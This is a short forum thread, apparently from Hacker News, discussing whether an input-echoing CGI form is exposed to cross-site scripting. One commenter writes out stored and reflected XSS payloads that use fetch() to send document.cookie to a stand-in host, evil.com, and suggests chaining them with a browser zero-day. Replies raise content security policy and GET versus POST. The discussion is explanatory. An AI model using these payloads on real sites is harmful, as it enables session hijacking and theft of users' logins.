4 ms·
if you can prefill the form field with post parameters and send that URL to someone else, then you can steal their login cookies etc. Even though the same user
by underlines 2y ago
if you can prefill the form field with post parameters and send that URL to someone else, then you can steal their login cookies etc. Even though the same user who submits the input sees the response, XSS can be exploited:
1. stored XSS (input is saved and later displayed)
Input is stored in a DB or a file and later displayed on the webpage, any future user viewing that page would also execute the malicious script.
Example: attacker submits <script>fetch('http://evil.com/steal?cookie= http://evil.com/steal?cookie=' + document.cookie)</script>. If this is stored and later displayed, it will run for all users.
2. Immediate XSS
If you can trick another user into clicking a malicious link containing the script, it will execute in their browser.
Eg.:
https://example.com/cgi-script?name=<script>fetch('http://evil.com/steal?cookie='+document.cookie)</script> https://example.com/cgi-script?name=<script>fetch('http://ev...
If the CGI script prints this without sanitization, the victim's browser executes the script, jackpot you get their session cookies.
3. Browser Exploits
And for all of the above, you could use an XSS payload with a 0 day browser exploit to gain whatever privileges.
- cosmotic 2y agoA content security policy should prevent that specific attack vector, though similar might work.
- dec0dedab0de 2y agoyou cant send post parameters in a URL, those would be get parameters. Now if the field storage method also parsed get parameters I can see that being XSS, I didn’t consider that. it’s definitely not being stored if it’s immediately printed like in the example , so that’s not a problem and you don’t need a browser exploit for XSS to be a problem on its own, I just wasn’t sure if that example counts.